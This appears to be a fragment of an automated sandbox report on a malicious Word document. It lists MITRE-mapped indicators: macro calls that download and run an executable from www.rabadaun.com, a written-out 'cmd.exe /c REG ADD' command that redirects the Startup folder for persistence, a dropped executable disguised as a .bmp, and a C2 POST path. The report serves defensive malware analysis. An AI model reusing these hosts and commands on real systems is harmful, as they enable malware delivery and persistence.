LoadLibraryA@KERNEL32.DLL at 00000000-00002996-13423-415-004194BE\n LoadLibraryA@KERNEL32.DLL at 00000000-00003576-18544-175-00401B40\n LoadLibraryA@KERNEL32.DLL at 00000000-00003576-18544-180-00404040\n LoadLibraryW@KERNEL32.DLL at 00000000-00003576-18544-14-0040968B\n LoadLibraryA@KERNEL32.DLL at 00000000-00003576-18544-194-00403D80","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$31","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"ShellExecuteExA\" (Indicator: \"ShellExecute\"; File: \"00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")\n Found reference to API \"ShellExecuteExA\" (Indicator: \"ShellExecute\"; Source: \"00000000-00002996.00000001.69499.001C0000.00000004.mdmp\")\n Found reference to API \"ShellExecuteExA\" (Indicator: \"ShellExecute\"; Source: \"00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Contains ability to executes commands or batch file","description":"file/memory contains long string with (Indicator: \"cmd.exe /c\"; File: \"Liebert.bmp\")\n Found string \"cmd.exe /c\" (Indicator: \"cmd.exe /c\"; File: \"00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")\n Found string \"cmd.exe /c\" (Indicator: \"cmd.exe /c\"; Source: \"00000000-00002996.00000001.69499.001C0000.00000004.mdmp\")\n Found string \"cmd.exe /c REG ADD \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" /f /v Startup /t REG_SZ /d C:\\ProgramData\\a7963\" (Indicator: \"cmd.exe /c\"; Source: \"00000000-00003576.00000000.69817.0012B000.00000004.mdmp, 00000000-00003576.00000001.71736.00127000.00000004.mdmp, 00000000-00003576.00000002.73655.00127000.00000004.mdmp\")\n Found string \"cmd.exe /c\" (Indicator: \"cmd.exe /c\"; Source: \"00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-174","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp\")\n Found reference to API \"FindResourceA\" (Indicator: \"FindResource\"; Source: \"00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp\")\n Found reference to API \"LockResource\" (Indicator: \"LockResource\"; Source: \"00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp\")\n Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; Source: \"00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00002996.00000001.69499.001C0000.00000004.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"$32","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Contains embedded VBA macros","description":"$33","origin":"Static Parser","mitre_attack_id":"T1204","relevance":10,"id":"static-13","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Contains embedded VBA macros (normalized)","description":"$34","origin":"File/Memory","mitre_attack_id":"T1137","relevance":10,"id":"string-50","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$35","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\10MU_ACBPIDS_S-1-5-5-0-69416\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\10MU_ACB10_S-1-5-5-0-69416\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\552FFA80-3393-423d-8671-7BA046BB5906\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_Formal1_S-1-5-21-2092356043-4041700817-663127204-1001\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_AdHoc1_S-1-5-21-2092356043-4041700817-663127204-1001\"\n \"Global\\552FFA80-3393-423d-8671-7BA046BB5906\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\10MU_ACBPIDS_S-1-5-5-0-69416\"\n \"Global\\MTX_MSO_Formal1_S-1-5-21-2092356043-4041700817-663127204-1001\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Global\\MTX_MSO_AdHoc1_S-1-5-21-2092356043-4041700817-663127204-1001\"\n \"Local\\10MU_ACB10_S-1-5-5-0-69416\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"Tar24D2.tmp\" as clean (type is \"data\")\n Antivirus vendors marked dropped file \"~_file.doc\" as clean (type is \"data\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"\"spolsve.exe\" failed to load missing module \"api-ms-win-core-fibers-l1-1-1\" - [base:0; Status:c0000135]\n \"spolsve.exe\" failed to load missing module \"api-ms-win-core-localization-l1-2-1\" - [base:0; Status:c0000135]\n \"cmd.exe\" failed to load missing module \"api-ms-win-core-fibers-l1-1-1\" - [base:0; Status:c0000135]\n \"cmd.exe\" failed to load missing module \"api-ms-win-core-localization-l1-2-1\" - [base:0; Status:c0000135]\n \"reg.exe\" failed to load missing module \"api-ms-win-core-fibers-l1-1-1\" - [base:0; Status:c0000135]\n \"reg.exe\" failed to load missing module \"api-ms-win-core-localization-l1-2-1\" - [base:0; Status:c0000135]","origin":"API Call","mitre_attack_id":"T1574.002","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Found a reference to a known community page","description":"$36","origin":"File/Memory","relevance":7,"id":"string-10","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$37","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Loads rich edit control libraries","description":"\"WINWORD.EXE\" loaded module \"%COMMONPROGRAMFILES%\\microsoft shared\\OFFICE14\\RICHED20.DLL\" at 61010000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-2","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"spolsve.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 76710000\n \"cmd.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 76710000\n \"reg.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 76710000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Logged script engine calls","description":"\"WINWORD.EXE\" called \"WScript.Shell.1.CreateObject\" ... \n \"WINWORD.EXE\" called \"WScript.Shell.1.SpecialFolders\" with result: \"C:\\Users\\xvOShaO\\AppData\\Roaming\\Microsoft\\Windows\\Templates\" ...\n \"WINWORD.EXE\" called \"Microsoft.XMLHTTP.1.0.CreateObject\" ... \n \"WINWORD.EXE\" called \"Shell.Application.1.CreateObject\" ... \n \"WINWORD.EXE\" called \"Microsoft.XMLHTTP.1.0.open\" ... \n \"WINWORD.EXE\" called \"Microsoft.XMLHTTP.1.0.responseBody\" with result: \"MZ\" ...\n \"WINWORD.EXE\" called \"Microsoft.XMLHTTP.1.0.status\" with result: \"200\" ...\n \"WINWORD.EXE\" called \"ADODB.Stream.6.0.CreateObject\" ... \n \"WINWORD.EXE\" called \"ADODB.Stream.6.0.Type\" ... \n \"WINWORD.EXE\" called \"ADODB.Stream.6.0.Write\" ... \n \"WINWORD.EXE\" called \"ADODB.Stream.6.0.SaveToFile\" ... \n \"WINWORD.EXE\" called \"Shell.Application.1.Open\" ...","origin":"API Call","mitre_attack_id":"T1059","relevance":10,"id":"api-64","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"150016003cbad172@ADVAPI32.dll\"\n \"0e000f00b4bad172@ADVAPI32.dll\"\n \"0e000f00e8bad172@ADVAPI32.dll\"\n \"1100120048bfd172@ADVAPI32.dll\"\n \"11001200b4bfd172@ADVAPI32.dll\"\n \"12001300c8bfd172@ADVAPI32.dll\"\n \"12001300f0bfd172@ADVAPI32.dll\"\n \"14001500b0d4d172@ADVAPI32.dll\"\n \"14001500c8d4d172@ADVAPI32.dll\"\n \"14001500e0d4d172@ADVAPI32.dll\"\n \"17001800f8d4d172@ADVAPI32.dll\"\n \"0d000e0010d5d172@ADVAPI32.dll\"\n \"0d000e0010c0d172@SHELL32.dll\"\n \"0d000e0064c0d172@SHELL32.dll\"\n \"0d000e003cd6d172@ADVAPI32.dll\"\n \"140015007cd6d172@ADVAPI32.dll\"\n \"1400150094d6d172@ADVAPI32.dll\"\n \"0c000d00dcd6d172@ADVAPI32.dll\"\n \"0c000d00ecd6d172@ADVAPI32.dll\"\n \"0e000f00fcd6d172@ADVAPI32.dll\"\n \"1800190064d8d172@RPCRT4.dll\"\n \"1300140090d8d172@RPCRT4.dll\"\n \"14001500a4d8d172@RPCRT4.dll\"\n \"16001700bcd8d172@RPCRT4.dll\"\n \"0b000c0068d1d172@WS2_32.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"70fa2300d7932ab901c19878bf109bdd9e078e96380879ca2ce2c3f9fc5c7665.bin\" was detected as \"MS Office 97-2003\" and name: \"Format\"\n \"70fa2300d7932ab901c19878bf109bdd9e078e96380879ca2ce2c3f9fc5c7665.bin\" was detected as \"Microsoft Compound\" and name: \"Data\"\n \"tlworker.exe\" was detected as \"MS Office 97-2003\" and name: \"Format\"\n \"tlworker.exe\" was detected as \"Microsoft Compound\" and name: \"Data\"\n \"Liebert.bmp\" was detected as \"MS Office 97-2003\" and name: \"Format\"\n \"Liebert.bmp\" was detected as \"Microsoft Compound\" and name: \"Data\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"spolsve.exe\" (UID: 00000000-00002996) was launched with new environment variables: \"WecVersionForRosebud.A84=\"4\"\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"www.rabadaun.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"spolsve.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"spolsve.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"reg.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"reg.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"References JavaScript(s)","description":"$38","origin":"File/Memory","mitre_attack_id":"T1059.007","relevance":1,"id":"string-626","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"$39","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"/c REG ADD \"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\User Shell Folders\" /f /v Startup /t REG_SZ /d %ALLUSERSPROFILE%\\\\a7963\" on 2023-7-10.08:31:57.947","origin":"Monitored Target","mitre_attack_id":"T1059.003","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"spolsve.exe\" (UID: 00000000-00002996)\n Spawned process \"spolsve.exe\" (UID: 00000000-00003576)\n Spawned process \"cmd.exe\" with commandline \"/c REG ADD \"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\ ...\" (UID: 00000000-00003424), Spawned process \"reg.exe\" with commandline \"REG ADD \"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Ex ...\" (UID: 00000000-00003944)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Tries to open documents files","description":"\"WINWORD.EXE\" opens a file C:\\file.doc (UID: 00000000-00002692)\n \"WINWORD.EXE\" opens a file C:\\~$FILE.DOC (UID: 00000000-00002692)","origin":"API Call","mitre_attack_id":"T1005","relevance":2,"id":"api-248","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"tlworker.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"Liebert.bmp\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"WINWORD.EXE\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\Cab24D1.tmp\"\n \"WINWORD.EXE\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\Tar24D2.tmp\"\n \"spolsve.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\Liebert.bmp\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Installation/Persistence","name":"Calls an API typically used to set the date and time of the file","description":"\"WINWORD.EXE\" called \"SetFileTime\" on file C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\Tar24D2.tmp (UID: 00000000-00002692)","origin":"API Call","mitre_attack_id":"T1070.006","relevance":2,"id":"api-205","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to lookup the windows account name","description":"GetUserNameA@ADVAPI32.DLL at 00000000-00003576-18544-175-00401B40","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1033","relevance":5,"id":"stream-28","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"spolsve.exe\" creates a thread in process \"-1\" (Handle: 4294967295)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates/edits LNK file (Windows shortcut)","description":"\"WINWORD.EXE\" writes to LNK file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Office\\Recent\\file.LNK\"\n \"WINWORD.EXE\" writes to LNK file \"%APPDATA%\\Microsoft\\Office\\Recent\\file.LNK\"","origin":"API Call","mitre_attack_id":"T1547.009","relevance":3,"id":"api-204","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$3b","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops temp files","description":"\"Tar24D2.tmp\" has type \"data\" - Location: [%TEMP%\\Tar24D2.tmp]\n \"~WRS_03ED77F5-2D36-4557-BA62-A3A284FB6B17_.tmp\" has type \"dBase III DBT version number 0 next free block index 13\"\n \"Cab24D1.tmp\" has type \"Microsoft Cabinet archive data Windows 2000/XP setup 63843 bytes 1 file at 0x2c +A \"authroot.stl\" number 1 6 datablocks 0x1 compression\" - Location: [%TEMP%\\Cab24D1.tmp]","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-53","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Installation/Persistence","name":"Modifies user shell folders registry key","description":"\"reg.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\USER SHELL FOLDERS\"; Key: \"STARTUP\"; Value: \"%ALLUSERSPROFILE%\\a7963\")","origin":"Registry Access","mitre_attack_id":"T1547.001","relevance":1,"id":"registry-144","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$3c","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$3d","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"spolsve.exe\" reads file \"c:\\users\\%osuser%\\appdata\\roaming\\microsoft\\windows\\templates\\spolsve.exe\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Installation/Persistence","name":"References user shell folders registry key string","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1547.001","relevance":1,"id":"string-410","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Makes a code branch decision directly after an API that is environment aware\n Matched sigs: Contains ability to delay the execution of current thread\n Matched sigs: Contains ability to detect virtual environment (API)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"WINWORD.EXE\" trying to touch file \"C:\\file.doc\"\n \"WINWORD.EXE\" trying to touch file \"C:\\Windows\\System32\\sxs.dll\"\n \"WINWORD.EXE\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Office\\Recent\\file.LNK\"\n \"WINWORD.EXE\" trying to touch file \"C:\\Users\\%OSUSER%\"\n \"WINWORD.EXE\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\"\n \"WINWORD.EXE\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"spolsve.exe\" touched file \"C:\\Windows\\AppPatch\\sysmain.sdb\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$3f","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$40","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"spolsve.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\liebert.bmp\"\n \"spolsve.exe\" writes file \"c:\\programdata\\a7963\\tlworker.exe\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"WINWORD.EXE\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat\"\n \"WINWORD.EXE\" writes a file \"%APPDATA%\\Microsoft\\Office\\Recent\\index.dat\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to create a HTTP or FTP session","description":"\"WINWORD.EXE\" called \"InternetConnectW\" to server \"www.rabadaun.com\" on port 443 (UID: 00000000-00002692)","origin":"API Call","mitre_attack_id":"T1071","relevance":3,"id":"api-215","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to create a new HTTP request","description":"\"WINWORD.EXE\" called \"HttpOpenRequestW\" with parameter HTTP method:\"GET\" object: /wordpress/wp-content/themes/TEMP.so\" - (UID: 00000000-00002692)","origin":"API Call","mitre_attack_id":"T1071","relevance":3,"id":"api-143","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Network Related","name":"Found domain strings related to cloud services(possible C&C communication)","description":"$41","origin":"File/Memory","mitre_attack_id":"T1102","relevance":1,"id":"string-186","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Network Related","name":"Found email domains (string)","description":"Found reference to API \"\" (Indicator: \"@gmail.\"; File: \"urlref_httpswww.nknews.orgprofull-text-north-koreas-decree-to-shoot-people-illegally-approaching-bordert_1603703245483\")\n Found reference to API \"\" (Indicator: \"@gmail.\"; File: \"urlref_httpswww.nknews.orgprofull-text-north-koreas-decree-to-shoot-people-illegally-approaching-bordert_1603703245483\")","origin":"File/Memory","mitre_attack_id":"T1585.002","relevance":1,"id":"string-235","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$42","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"POST /cc/index.php HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00003576.00000000.69817.0012B000.00000004.mdmp, 00000000-00003576.00000001.71736.00127000.00000004.mdmp, 00000000-00003576.00000002.73655.00127000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x00000303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://www.un.org\"\n Found HTTPS url \"https://www.nknews.org\"","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"64abc143d0bc8c237e05d56d"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic 